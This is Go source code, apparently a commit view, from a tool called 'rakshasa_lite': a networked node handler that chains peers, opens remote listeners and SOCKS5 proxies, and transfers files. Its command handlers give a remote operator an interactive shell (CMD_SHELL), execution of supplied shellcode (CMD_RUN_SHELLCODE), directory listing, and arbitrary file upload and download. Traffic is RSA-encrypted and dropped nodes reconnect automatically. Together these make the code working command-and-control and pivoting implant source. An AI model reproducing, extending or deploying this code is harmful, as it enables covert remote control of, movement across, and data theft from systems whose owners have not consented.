b, _ := json.Marshal(regmsg)
n.Write(common.CMD_REMOTE_REG_RESULT, msg.CmdId, b)
}
n.writeGetNodeResult(msg.CmdId)
case common.CMD_REMOTE_REG_RESULT:
var regmsg common.RegMsg
err = json.Unmarshal(msg.CmdData, &regmsg)
v, ok := n.loadQuery(msg.CmdId)
if !ok {
return
}
if err != nil {
v <- err
return
}
if regmsg.Err != "" {
v <- errors.New(regmsg.Err)
return
}
l := clientLock.Lock()
if n.uuid != regmsg.UUID {
var targetNode *node
if targetNode, ok = nodeMap[regmsg.UUID]; !ok {
targetNode = getNewNode(nodeInfo{
UUID: regmsg.UUID,
HostName: cert.RSADecrypterStr(regmsg.Hostname),
MainIp: cert.RSADecrypterStr(regmsg.MainIp),
Port: cert.RSADecrypterStr(regmsg.Port),
Goos: cert.RSADecrypterStr(regmsg.Goos),
}, n)
nodeMap[regmsg.UUID] = targetNode
} else {
targetNode.updateNode(nodeInfo{
UUID: regmsg.UUID,
HostName: cert.RSADecrypterStr(regmsg.Hostname),
MainIp: cert.RSADecrypterStr(regmsg.MainIp),
Port: cert.RSADecrypterStr(regmsg.Port),
Goos: cert.RSADecrypterStr(regmsg.Goos),
})
}
v <- targetNode
} else {
v <- n
}
l.Unlock()
n.writeGetNodeResult(msg.CmdId)
case common.CMD_PING:
n.Write(common.CMD_PONG, msg.CmdId, append(msg.CmdData, n.conn.nodeConn.LocalAddr().String()...))
case common.CMD_NONE:
case common.CMD_PONG:
pingTime := int64(msg.CmdData[0]) | int64(msg.CmdData[1])<<8 | int64(msg.CmdData[2])<<16 | int64(msg.CmdData[3])<<24 | int64(msg.CmdData[4])<<32 | int64(msg.CmdData[5])<<40 | int64(msg.CmdData[6])<<48 | int64(msg.CmdData[7])<<56
if pingTime != n.pingTime {
return
}
n.addr = string(msg.CmdData[8:])
if i := strings.Index(n.addr, ":"); i > -1 {
n.addr = n.addr[:i]
}
n.pongTime = time.Now().Unix()
if v, ok := n.loadQuery(msg.CmdId); ok {
select {
case v <- struct{}{}:
default:
}
}
case common.CMD_CONN_UDP_MSG:
_, ok := n.connMap.Load(msg.CmdId)
if ok {
var conn common.Conn
id := uint32(msg.CmdData[0]) | uint32(msg.CmdData[1])<<8 | uint32(msg.CmdData[2])<<16 | uint32(msg.CmdData[3])<<24
if v2, ok := n.connMap.Load(id); ok {
conn = v2.(common.Conn)
} else {
var ip string
switch msg.CmdData[4] {
case 1:
ip = fmt.Sprintf("%d.%d.%d.%d:%d", msg.CmdData[5], msg.CmdData[6], msg.CmdData[7], msg.CmdData[8], int(msg.CmdData[9])<<8|int(msg.CmdData[10]))
case 3:
case 4:
}
udpconn := &serverConnect{}
udpconn.conn, err = net.Dial("udp", ip)
if err != nil {
return
}
udpconn.node = n
udpconn.id = id
udpconn.write = make(chan *bytes.Buffer, 64)
udpconn.close = 0
udpconn.windowsSize = 0
udpconn.wait = make(chan int)
n.connMap.Store(udpconn.id, udpconn)
go udpconn.handUdpReceive()
conn = udpconn
}
switch msg.CmdData[4] {
case 1:
conn.Write(append([]byte{common.CMD_CONN_UDP_MSG}, msg.CmdData[11:]...))
}
}
case common.CMD_LISTEN:
msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData)
if len(msg.CmdData) < 8 {
return
}
randkey := make([]byte, 8)
copy(randkey, msg.CmdData)
//fmt.Println("listen", string(data[common.Headlen+4:]))
_l, err := net.Listen("tcp", string(msg.CmdData[8:]))
if err != nil {
data := append(randkey, 0)
data = append(randkey, err.Error()...)
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, data)
return
} else {
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append(randkey, 1))
}
l := &serverListen{listen: _l, node: n, id: msg.CmdId, randkey: randkey}
n.listenMap.Store(msg.CmdId, l)
go l.Lisen()
case common.CMD_REMOTE_SOCKS5:
msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData)
if len(msg.CmdData) < 8 {
return
}
randkey := make([]byte, 8)
copy(randkey, msg.CmdData)
cfg, err := common.ParseAddr(string(msg.CmdData[8:]))
if err != nil {
data := append(randkey, 0)
data = append(data, err.Error()...)
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, data)
return
}
l := &serverListen{node: n, id: msg.CmdId, randkey: randkey}
l.listen, err = StartSocks5WithServer(cfg, n, l.id)
if err != nil {
data := append(randkey, 0)
data = append(data, err.Error()...)
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, data)
return
} else {
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append(randkey, 1))
}
n.listenMap.Store(l.id, l)
case common.CMD_LISTEN_RESULT:
if len(msg.CmdData) < 9 {
return
}
if v, ok := currentNode.listenMap.Load(msg.CmdId); ok {
if c, ok := v.(*clientListen); ok {
if string(c.randkey) == string(msg.CmdData[:8]) {
if msg.CmdData[8] == 0 {
select {
case c.result <- errors.New(string(msg.CmdData[9:])):
default:
}
} else {
select {
case c.result <- nil:
default:
}
}
}
}
}
case common.CMD_DELETE_LISTEN:
if len(msg.CmdData) < 8 {
return
}
if v, ok := n.listenMap.Load(msg.CmdId); ok {
switch s := v.(type) {
case *serverListen:
if string(s.randkey) == string(msg.CmdData[:8]) {
s.Close(remoteClose)
n.listenMap.Delete(msg.CmdId)
}
case *clientListen:
if string(s.randkey) == string(msg.CmdData[:8]) {
s.Close(remoteClose)
n.listenMap.Delete(msg.CmdId)
}
}
}
case common.CMD_DELETE_LISTENCONN_BYID:
if len(msg.CmdData) != 12 {
return
}
deleteId := uint32(msg.CmdData[8]) | uint32(msg.CmdData[9])<<8 | uint32(msg.CmdData[10])<<16 | uint32(msg.CmdData[11])<<24
if v, ok := n.listenMap.Load(msg.CmdId); ok {
if s, ok := v.(*serverListen); ok {
if string(s.randkey) == string(msg.CmdData[:8]) {
conn, ok := s.connMap.Load(deleteId)
if ok {
conn.(*serverConnect).Close(remoteClose)
s.connMap.Delete(deleteId)
}
}
}
}
case common.CMD_PWD:
if currentConfig.Password == cert.RSADecrypterByPub(string(msg.CmdData)) {
pwd, _ := os.Getwd()
n.Write(common.CMD_PWD_RESULT, msg.CmdId, []byte(pwd))
}
case common.CMD_PWD_RESULT:
if v, ok := n.loadQuery(msg.CmdId); ok {
select {
case v <- string(msg.CmdData):
default:
}
}
case common.CMD_GET_NODE:
n.writeGetNodeResult(msg.CmdId)
case common.CMD_GET_NODE_RESULT:
l := clientLock.Lock()
defer l.Unlock()
var s []nodeInfo
err = json.Unmarshal(msg.CmdData, &s)
if err == nil {
for _, _n := range s {
_n = nodeInfo{
UUID: _n.UUID,
HostName: cert.RSADecrypterStr(_n.HostName),
MainIp: cert.RSADecrypterStr(_n.MainIp),
Port: cert.RSADecrypterStr(_n.Port),
Goos: cert.RSADecrypterStr(_n.Goos),
}
if _n.UUID != currentNode.uuid {
if v, ok := nodeMap[_n.UUID]; !ok {
nodeMap[_n.UUID] = getNewNode(_n, n)
} else {
v.hostName = _n.HostName
v.mainIp = _n.MainIp
v.port, _ = strconv.Atoi(_n.Port)
}
}
}
}
v, ok := n.loadQuery(msg.CmdId)
if ok {
//通知已更新列表
select {
case v <- err:
default:
}
}
case common.CMD_GET_CURRENT_NODE:
nmsg := &nodeInfo{
UUID: currentNode.uuid,
HostName: cert.RSAEncrypterStr(currentNode.hostName),
MainIp: cert.RSAEncrypterStr(currentNode.mainIp),
Port: cert.RSAEncrypterStr(fmt.Sprint(currentNode.port)),
Goos: cert.RSAEncrypterStr(currentNode.goos),
}
b, _ := json.Marshal(nmsg)
n.Write(common.CMD_GET_CURRENT_NODE_RESULT, msg.CmdId, b)
case common.CMD_ADD_NODE:
var nmsg nodeInfo
err = json.Unmarshal(msg.CmdData, &nmsg)
if err != nil {
return
}
l := clientLock.Lock()
defer l.Unlock()
if v, ok := nodeMap[nmsg.UUID]; !ok {
newNode := getNewNode(nmsg, n)
nodeMap[nmsg.UUID] = newNode
} else if nmsg.UUID != currentNode.uuid {
port, err := strconv.Atoi(cert.RSADecrypterStr(nmsg.Port))
if err == nil {
v.port = port
} else {
v.port = -1
}
v.mainIp = cert.RSADecrypterStr(nmsg.MainIp)
v.hostName = cert.RSADecrypterStr(nmsg.HostName)
v.goos = cert.RSADecrypterStr(nmsg.Goos)
v.uuid = nmsg.UUID
nodeMap[nmsg.UUID] = v
}
case common.CMD_DIR:
dirPth := cert.RSADecrypterByPub(string(msg.CmdData))
dir, err := ioutil.ReadDir(dirPth)
if err != nil {
n.Write(common.CMD_DIR_RESULT, msg.CmdId, []byte("读取目录 "+dirPth+" 失败"))
return
}
var s []string
var maxlen int
var hasdir string
for _, fi := range dir {
if len(fi.Name()) > maxlen {
maxlen = len(fi.Name())
}
if fi.IsDir() {
hasdir = " "
}
}
for _, fi := range dir {
var p string
name := bytes.Repeat([]byte(" "), maxlen)
copy(name, fi.Name())
if fi.IsDir() { // 忽略目录
p = "<DIR> " + string(name)
} else {
p = hasdir + string(name) + " size:" + strconv.FormatInt(fi.Size(), 10)
}
s = append(s, p)
}
n.Write(common.CMD_DIR_RESULT, msg.CmdId, []byte(strings.Join(s, "\n")))
case common.CMD_DIR_RESULT:
if v, ok := n.loadQuery(msg.CmdId); ok {
select {
case v <- string(msg.CmdData):
default:
}
}
case common.CMD_CD:
dirPth := cert.RSADecrypterByPub(string(msg.CmdData))
s, err := os.Stat(dirPth)
if err != nil {
n.Write(common.CMD_CD_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
return
}
if s.IsDir() {
n.Write(common.CMD_CD_RESULT, msg.CmdId, append([]byte{1}, dirPth...))
} else {
n.Write(common.CMD_CD_RESULT, msg.CmdId, append([]byte{0}, "该路径不是文件夹"...))
}
case common.CMD_CD_RESULT:
if v, ok := n.loadQuery(msg.CmdId); ok {
if msg.CmdData[0] == 0 {
select {
case v <- errors.New(string(msg.CmdData[1:])):
default:
}
} else {
select {
case v <- string(msg.CmdData[1:]):
default:
}
}
}
case common.CMD_CONNECT_BYID:
var l *clientListen
if v, ok := currentNode.listenMap.Load(msg.CmdId); ok {
l, _ = v.(*clientListen)
}
if l == nil {
n.Write(common.CMD_DELETE_LISTEN, msg.CmdId, l.randkey)
return
}
if len(msg.CmdData) < 8 || string(l.randkey) != string(msg.CmdData[:8]) {
n.Write(common.CMD_DELETE_LISTEN, msg.CmdId, l.randkey)
return
}
//l := clientLock.Lock()
//b := clientListenMap[id]
//l.Unlock()
conn, err := net.Dial("tcp", l.localAddr)
if err != nil {
n.Write(common.CMD_DELETE_LISTENCONN_BYID, l.id, append(l.randkey, msg.CmdData...))
return
}
client := &clientConnect{}
client.id = uint32(msg.CmdData[8]) | uint32(msg.CmdData[9])<<8 | uint32(msg.CmdData[10])<<16 | uint32(msg.CmdData[11])<<24
client.server = l.server
client.listenId = msg.CmdId
client.conn = conn
client.OnOpened()
client.randkey = append([]byte{}, l.randkey...)
l.connMap.Store(client.id, client)
l.server.connMap.Store(client.id, client)
go rawHandleLocal(client)
case common.CMD_PING_LISTEN:
if _, ok := n.listenMap.Load(msg.CmdId); !ok {
//通知客户端服务器listen不存在
n.Write(common.CMD_PING_LISTEN_RESULT, msg.CmdId, []byte{0})
}
case common.CMD_PING_LISTEN_RESULT:
if value, ok := n.listenMap.Load(msg.CmdId); ok {
switch v := value.(type) {
case *clientListen:
n.Write(v.openOption, v.id, v.openMsg)
go func() {
select {
case res := <-v.result:
if err, ok := res.(error); ok {
v.Close(err.Error())
}
case <-time.After(common.CMD_TIMEOUT):
v.Close("listen time out")
}
}()
case *serverListen:
v.Close(remoteClose)
}
}
case common.CMD_UPLOAD:
msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData)
i := bytes.IndexByte(msg.CmdData, 0)
if i == -1 {
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "协议错误"...))
return
}
file := string(msg.CmdData[:i])
offset := int64(msg.CmdData[i+1]) | int64(msg.CmdData[i+2])<<8 | int64(msg.CmdData[i+3])<<16 | int64(msg.CmdData[i+4])<<24 | int64(msg.CmdData[i+5])<<32 | int64(msg.CmdData[i+6])<<40 | int64(msg.CmdData[i+7])<<48 | int64(msg.CmdData[i+8])<<56
var f *os.File
if offset == 0 {
f, err = os.OpenFile(file, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0666)
} else {
f, err = os.OpenFile(file, os.O_CREATE|os.O_WRONLY, 0666)
}
if err != nil {
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "写入"+file+"失败 "+err.Error()...))
return
}
defer f.Close()
f.Seek(offset, 0)
num, err := f.Write(msg.CmdData[i+9:])
if err != nil {
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "写入"+file+"失败 "+err.Error()...))
return
}
if num != len(msg.CmdData[i+9:]) {
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "写入"+file+"失败 需要写入"+strconv.Itoa(len(msg.CmdData[i+8:]))+" 实际写入"+strconv.Itoa(num)...))
return
}
s, err := os.Stat(file)
if err == nil {
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, []byte{1, byte(s.Size()), byte(s.Size() >> 8), byte(s.Size() >> 16), byte(s.Size() >> 24), byte(s.Size() >> 32), byte(s.Size() >> 40), byte(s.Size() >> 48), byte(s.Size() >> 56)})
}
case common.CMD_UPLOAD_RESULT:
if v, ok := n.loadQuery(msg.CmdId); ok {
if msg.CmdData[0] == 0 {
select {
case v <- errors.New(string(msg.CmdData[1:])):
default:
}
} else {
size := int64(msg.CmdData[1]) | int64(msg.CmdData[2])<<8 | int64(msg.CmdData[3])<<16 | int64(msg.CmdData[4])<<24 | int64(msg.CmdData[5])<<32 | int64(msg.CmdData[6])<<40 | int64(msg.CmdData[7])<<48 | int64(msg.CmdData[8])<<56
select {
case v <- size:
default:
}
}
}
case common.CMD_DOWNLOAD:
msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData)
i := bytes.IndexByte(msg.CmdData, 0)
file := string(msg.CmdData[:i])
offset := int64(msg.CmdData[i+1]) | int64(msg.CmdData[i+2])<<8 | int64(msg.CmdData[i+3])<<16 | int64(msg.CmdData[i+4])<<24 | int64(msg.CmdData[i+5])<<32 | int64(msg.CmdData[i+6])<<40 | int64(msg.CmdData[i+7])<<48 | int64(msg.CmdData[i+8])<<56
var size int64
if offset == -1 {
s, err := os.Stat(file)
if err != nil {
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, "读取"+file+"失败 "+err.Error()...))
return
}
if s.IsDir() {
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, file+"是一个目录 不可下载"...))
return
}
size = s.Size()
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, []byte{1, byte(size), byte(size >> 8), byte(size >> 16), byte(size >> 24), byte(size >> 32), byte(size >> 40), byte(size >> 48), byte(size >> 56)})
}
f, err := os.Open(file)
if err != nil {
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, "读取"+file+"失败 "+err.Error()...))
return
}
defer f.Close()
f.Seek(offset, 0)
for i := 0; i < 10; i++ {
buf := make([]byte, common.MAX_PACKAGE-1)
num, err := f.Read(buf)
if err != nil {
if err == io.EOF {
return
}
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, "读取"+file+"失败 "+err.Error()...))
return
}
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{2}, buf[:num]...))
}
case common.CMD_DOWNLOAD_RESULT:
if v, ok := n.loadQuery(msg.CmdId); ok {
switch msg.CmdData[0] {
case 0:
select {
case v <- errors.New(string(msg.CmdData[1:])):
default:
}
case 1:
size := int64(msg.CmdData[1]) | int64(msg.CmdData[2])<<8 | int64(msg.CmdData[3])<<16 | int64(msg.CmdData[4])<<24 | int64(msg.CmdData[5])<<32 | int64(msg.CmdData[6])<<40 | int64(msg.CmdData[7])<<48 | int64(msg.CmdData[8])<<56
select {
case v <- size:
default:
}
case 2:
select {
case v <- msg.CmdData[1:]:
default:
}
}
}
case common.CMD_SHELL:
var param StartCmdParam
if err = json.Unmarshal(cert.RSADecrypterByPubByte(msg.CmdData), &param); err != nil {
n.Write(common.CMD_SHELL_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
}
if err := startCMD(n, msg.CmdId, param); err != nil {
n.Write(common.CMD_SHELL_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
}
case common.CMD_SHELL_RESULT:
if v, ok := n.loadQuery(msg.CmdId); ok {
if msg.CmdData[0] == 0 {
select {
case v <- errors.New(string(msg.CmdData[1:])):
default:
}
} else {
select {
case v <- msg.CmdData[1:]:
default:
}
}
}
case common.CMD_SHELL_DATA:
if v, ok := n.shellMap.Load(msg.CmdId); ok {
cmd := v.(*remoteCmd)
select {
case cmd.inChan <- msg.CmdData:
default:
}
}
case common.CMD_RUN_SHELLCODE:
go func() {
var s ShellCodeStruct
err = json.Unmarshal(cert.RSADecrypterByPubByte(msg.CmdData), &s)
if err != nil {
n.Write(common.CMD_RUN_SHELLCODE_RESULT, msg.CmdId, []byte(err.Error()))
}
err = doShellcode(s)
if err != nil {
n.Write(common.CMD_RUN_SHELLCODE_RESULT, msg.CmdId, []byte(err.Error()))
} else {
n.Write(common.CMD_RUN_SHELLCODE_RESULT, msg.CmdId, nil)
}
}()
case common.CMD_RUN_SHELLCODE_RESULT:
if v, ok := n.loadQuery(msg.CmdId); ok {
var err error
if len(msg.CmdData) > 0 {
err = errors.New(string(msg.CmdData))
}
select {
case v <- err:
default:
}
}
default:
n.conn.Close("协议错误")
}
}
func (n *node) remoteReg(addr string) (newN *node, err error) {
regmsg := common.RegMsg{
RegAddr: addr,
UUID: currentNode.uuid,
MainIp: cert.RSAEncrypterStr(currentNode.mainIp),
Port: cert.RSAEncrypterStr(strconv.Itoa(currentNode.port)),
Goos: cert.RSAEncrypterStr(currentNode.goos),
}
regmsg.Hostname, _ = os.Hostname()
b, _ := json.Marshal(regmsg)
resChan := make(chan interface{}, 1)
id := n.storeQuery(resChan)
n.Write(common.CMD_REMOTE_REG, id, b)
select {
case i := <-resChan:
n.deleteQuery(id)
if v, ok := i.(error); ok {
return nil, v
}
if v, ok := i.(*node); ok {
return v, nil
}
case <-time.After(common.CMD_TIMEOUT):
n.deleteQuery(id)
return nil, errors.New("time out")
}
return nil, errors.New("error result")
}
func (n *node) Close(reason string) {
if n.conn != nil && n.conn.node.uuid == n.uuid {
n.conn.Close(reason)
}
n.Delete(reason)
}
func getNewNode(m nodeInfo, n *node) *node {
port, _ := strconv.Atoi(m.Port)
newNode := &node{
uuid: m.UUID,
hostName: m.HostName,
conn: n.conn,
pongTime: time.Now().Unix(),
mainIp: m.MainIp,
port: port,
goos: m.Goos,
}
return newNode
}
func allNodesDo(f func(*node) (bool, error)) (err error) {
var ok bool
l := clientLock.RLock()
defer l.RUnlock()
for _, n := range nodeMap {
if n.uuid != currentNode.uuid {
func() {
l.RUnlock()
defer clientLock.RLock(l)
ok, err = f(n)
}()
if err != nil {
return err
}
if !ok {
break
}
}
}
return nil
}
func (n *node) ping(id uint32) {
l := clientLock.Lock()
defer func() {
l.Unlock()
}()
now := time.Now()
if n.pingTime > n.pongTime {
if n.conn != nil && n.conn.node.uuid == n.uuid {
n.conn.Close("超时关闭")
}
n.Delete("超时关闭")
//尝试重连
go func() {
if !currentConfig.Limit && len(n.mainIp) > 0 {
for _, addr := range n.mainIp {
_n, _ := connectNew(fmt.Sprintf("%s:%d", addr, n.port))
if _n != nil {
return
}
}
}
}()
return
}
n.pingTime = now.Unix()
if n.pongTime == 0 {
n.pongTime = n.pingTime
}
pingdata := make([]byte, 8)
pingdata[0] = byte(n.pingTime & 255)
pingdata[1] = byte(n.pingTime >> 8 & 255)
pingdata[2] = byte(n.pingTime >> 16 & 255)
pingdata[3] = byte(n.pingTime >> 24 & 255)
pingdata[4] = byte(n.pingTime >> 32 & 255)
pingdata[5] = byte(n.pingTime >> 40 & 255)
pingdata[6] = byte(n.pingTime >> 48 & 255)
pingdata[7] = byte(n.pingTime >> 56 & 255)
msg := &common.Msg{
From: currentNode.uuid,
To: n.uuid,
CmdOpteion: common.CMD_PING,
CmdId: id,
CmdData: pingdata,
}
n.WriteMsg(msg)
n.listenMap.Range(func(key, value interface{}) bool {
switch v := value.(type) {
case *serverListen:
msg.CmdOpteion = common.CMD_PING_LISTEN
msg.CmdData = nil
n.WriteMsg(msg)
case *clientListen:
msg.CmdOpteion = common.CMD_PING_LISTEN
msg.CmdData = nil
v.server.WriteMsg(msg)
}
return true
})
}
func (n *node) Delete(reason string) {
go func() {
if atomic.CompareAndSwapInt32(&n.isClose, 0, 1) {
l := clientLock.Lock()
_, ok := nodeMap[n.uuid]
if ok {
delete(nodeMap, n.uuid)
}
l.Unlock()
n.connMap.Range(func(key, value interface{}) bool {
if v, ok := value.(common.Conn); ok {
v.Close(reason)
}
n.connMap.Delete(key)
return true
})
n.udpConnMap.Range(func(key, value interface{}) bool {
if v, ok := value.(common.Conn); ok {
v.Close(reason)
}
n.udpConnMap.Delete(key)
return true
})
n.listenMap.Range(func(key, value interface{}) bool {
if v, ok := value.(*serverListen); ok {
v.listen.Close()
}
n.listenMap.Delete(key)
return true
})
n.shellMap.Range(func(key, value interface{}) bool {
v := value.(*remoteCmd)
if v.cmd != nil {
v.cmd.Process.Kill()
}
n.shellMap.Delete(key)
return true
})
}
}()
}
func (n *node) broadcastNode() {
//广播新增节点
nmsg := &nodeInfo{
UUID: n.uuid,
HostName: cert.RSAEncrypterStr(n.hostName),
MainIp: cert.RSAEncrypterStr(n.mainIp),
Port: cert.RSAEncrypterStr(fmt.Sprint(n.port)),
Goos: cert.RSAEncrypterStr(n.goos),
}
b, _ := json.Marshal(nmsg)
writemsg := &common.Msg{
From: currentNode.uuid,
To: common.BroadcastUUID.String(),
CmdOpteion: common.CMD_ADD_NODE,
CmdData: b,
}
go allNodesDo(func(_n *node) (bool, error) {
if _n.uuid != currentNode.uuid {
_n.WriteMsg(writemsg)
}
return true, nil
})
}
func GetNodeFromAddrs(dst []string) (n *node, err error) {
if len(dst) == 0 {
return nil, errors.New("参数错误,目标节点为空")
}
if n, err = getNode(dst[0]); err != nil {
return
}
if n.uuid == currentNode.uuid {
return nil, errors.New("不能连接自己")
}
for i := 1; i < len(dst); i++ {
n, err = n.remoteReg(dst[i])
if err != nil {
return nil, fmt.Errorf("%s,%v", dst[i], err)
}
if n.uuid == currentNode.uuid {
return nil, errors.New("不能连接自己")
}
}
n.reConnectAddrs = make([]string, len(dst))
copy(n.reConnectAddrs, dst)
return
}
// 储存并返回id
func (n *node) storeQuery(v chan interface{}) (newID uint32) {
for {
newID = common.GetConnID()
if newID == 0 {
continue
}
if _, ok := n.queryMap.LoadOrStore(newID, v); !ok {
return
}
}
}
func (n *node) loadQuery(id uint32) (v chan interface{}, ok bool) {
value, ok := n.queryMap.Load(id)
if ok {
v = value.(chan interface{})
}
return v, ok
}
func (n *node) deleteQuery(id uint32) {
n.queryMap.Delete(id)
}
func (n *node) storeConn(v common.Conn) (newID uint32) {
for {
newID = common.GetConnID()
if newID == 0 {
continue
}
if _, ok := n.connMap.LoadOrStore(newID, v); !ok {
return
}
}
}
func (n *node) writeGetNodeResult(id uint32) {
l := clientLock.RLock()
defer l.RUnlock()
var s []*nodeInfo
for _, _n := range nodeMap {
if _n.uuid != currentNode.uuid {
s = append(s, &nodeInfo{
UUID: _n.uuid,
HostName: cert.RSAEncrypterStr(_n.hostName),
MainIp: cert.RSAEncrypterStr(_n.mainIp),
Port: cert.RSAEncrypterStr(strconv.Itoa(_n.port)),
Goos: cert.RSAEncrypterStr(_n.goos),
})
}
}
b, _ := json.Marshal(s)
n.Write(common.CMD_GET_NODE_RESULT, id, b)
}
func (n *node) updateNode(msg nodeInfo) {
n.hostName = msg.HostName
n.mainIp = msg.MainIp
n.port, _ = strconv.Atoi(msg.Port)
n.goos = msg.Goos
}
+228
View File
@@ -0,0 +1,228 @@
package server
import "strings"
func orderNode(list []*node) {
f := func(a, b *node) bool {
if strings.Contains(a.addr, "(localhost)") {
return true
} else if strings.Contains(b.addr, "(localhost)") {
return false
}
return a.uuid < b.uuid
}
max_len := len(list)
tmp := make([]*node, max_len)
for i := 0; i < max_len-max_len&1; i += 2 {
if f(list[i+1], list[i]) {
list[i], list[i+1] = list[i+1], list[i]
}
}
for i := 0; i < max_len-max_len&3; i += 4 {
if f(list[i+2], list[i]) {
list[i], list[i+2] = list[i+2], list[i]
}
if f(list[i+3], list[i+1]) {
list[i+1], list[i+3] = list[i+3], list[i+1]
}
if f(list[i+2], list[i+1]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
}
}
if max_len&3 == 3 {
i := max_len - 3
if f(list[i+2], list[i]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
list[i], list[i+1] = list[i+1], list[i]
} else if f(list[i+2], list[i+1]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
}
}
var step, l, max, r int
step = 4
for step < max_len {
step <<= 1
for i := 0; i < max_len; i += step {
l, r, max = i, i+step/2, i+step
if max > max_len {
max = max_len
}
for index := i; index < max; index++ {
if l == step/2+i || (r < max && f(list[r], list[l])) {
tmp[index] = list[r]
r++
} else {
tmp[index] = list[l]
l++
}
}
}
if step < max_len {
for i := 0; i < max_len; i += step {
l, r, max = i, i+step/2, i+step
if max > max_len {
max = max_len
}
for index := i; index < max; index++ {
if l == step/2+i || (r < max && f(tmp[r], tmp[l])) {
list[index] = tmp[r]
r++
} else {
list[index] = tmp[l]
l++
}
}
}
} else {
copy(list, tmp)
}
}
}
func orderClientListen(list []*clientListen) {
f := func(a, b *clientListen) bool {
return a.id < b.id
}
max_len := len(list)
tmp := make([]*clientListen, max_len)
for i := 0; i < max_len-max_len&1; i += 2 {
if f(list[i+1], list[i]) {
list[i], list[i+1] = list[i+1], list[i]
}
}
for i := 0; i < max_len-max_len&3; i += 4 {
if f(list[i+2], list[i]) {
list[i], list[i+2] = list[i+2], list[i]
}
if f(list[i+3], list[i+1]) {
list[i+1], list[i+3] = list[i+3], list[i+1]
}
if f(list[i+2], list[i+1]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
}
}
if max_len&3 == 3 {
i := max_len - 3
if f(list[i+2], list[i]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
list[i], list[i+1] = list[i+1], list[i]
} else if f(list[i+2], list[i+1]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
}
}
var step, l, max, r int
step = 4
for step < max_len {
step <<= 1
for i := 0; i < max_len; i += step {
l, r, max = i, i+step/2, i+step
if max > max_len {
max = max_len
}
for index := i; index < max; index++ {
if l == step/2+i || (r < max && f(list[r], list[l])) {
tmp[index] = list[r]
r++
} else {
tmp[index] = list[l]
l++
}
}
}
if step < max_len {
for i := 0; i < max_len; i += step {
l, r, max = i, i+step/2, i+step
if max > max_len {
max = max_len
}
for index := i; index < max; index++ {
if l == step/2+i || (r < max && f(tmp[r], tmp[l])) {
list[index] = tmp[r]
r++
} else {
list[index] = tmp[l]
l++
}
}
}
} else {
copy(list, tmp)
}
}
}
func orderHttpProxy(list []*httpProxyClient) {
f := func(a, b *httpProxyClient) bool {
return a.id < b.id
}
max_len := len(list)
tmp := make([]*httpProxyClient, max_len)
for i := 0; i < max_len-max_len&1; i += 2 {
if f(list[i+1], list[i]) {
list[i], list[i+1] = list[i+1], list[i]
}
}
for i := 0; i < max_len-max_len&3; i += 4 {
if f(list[i+2], list[i]) {
list[i], list[i+2] = list[i+2], list[i]
}
if f(list[i+3], list[i+1]) {
list[i+1], list[i+3] = list[i+3], list[i+1]
}
if f(list[i+2], list[i+1]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
}
}
if max_len&3 == 3 {
i := max_len - 3
if f(list[i+2], list[i]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
list[i], list[i+1] = list[i+1], list[i]
} else if f(list[i+2], list[i+1]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
}
}
var step, l, max, r int
step = 4
for step < max_len {
step <<= 1
for i := 0; i < max_len; i += step {
l, r, max = i, i+step/2, i+step
if max > max_len {
max = max_len
}
for index := i; index < max; index++ {
if l == step/2+i || (r < max && f(list[r], list[l])) {
tmp[index] = list[r]
r++
} else {
tmp[index] = list[l]
l++
}
}
}
if step < max_len {
for i := 0; i < max_len; i += step {
l, r, max = i, i+step/2, i+step
if max > max_len {
max = max_len
}
for index := i; index < max; index++ {
if l == step/2+i || (r < max && f(tmp[r], tmp[l])) {
list[index] = tmp[r]
r++
} else {
list[index] = tmp[l]
l++
}
}
}
} else {
copy(list, tmp)
}
}
}
+180
View File
@@ -0,0 +1,180 @@
package server
import (
"cert"
"encoding/binary"
"errors"
"fmt"
"math/rand"
"net"
"rakshasa_lite/common"
"sync"
"sync/atomic"
"time"
)
var (
// clientListenMap = make(map[uint32]*remoteListen)
// connectMap = make(map[uint32]*rawConnect)
)
type clientListen struct {
id uint32
localAddr string
remoteAddr string
server *node
typ string
openOption byte
openMsg []byte //掉线重连会用到
connMap sync.Map //clientListen关闭的时候关掉这里的id
listen net.Listener
result chan interface{}
randkey []byte //随机key int64
}
func StartRawBind(str string, dst []string) error {
n, err := GetNodeFromAddrs(dst)
if err != nil {
return err
}
addrs, err := common.ResolveTCPAddr(str)
if err != nil {
return err
}
if len(addrs) != 2 {
return errors.New("参数错误,格式为ip:port,remote_ip:remote_port")
}
l := &clientListen{
id: common.GetID(),
localAddr: addrs[0],
remoteAddr: addrs[1],
server: n,
typ: "bind",
result: make(chan interface{}),
openOption: common.CMD_LISTEN,
randkey: make([]byte, 8),
}
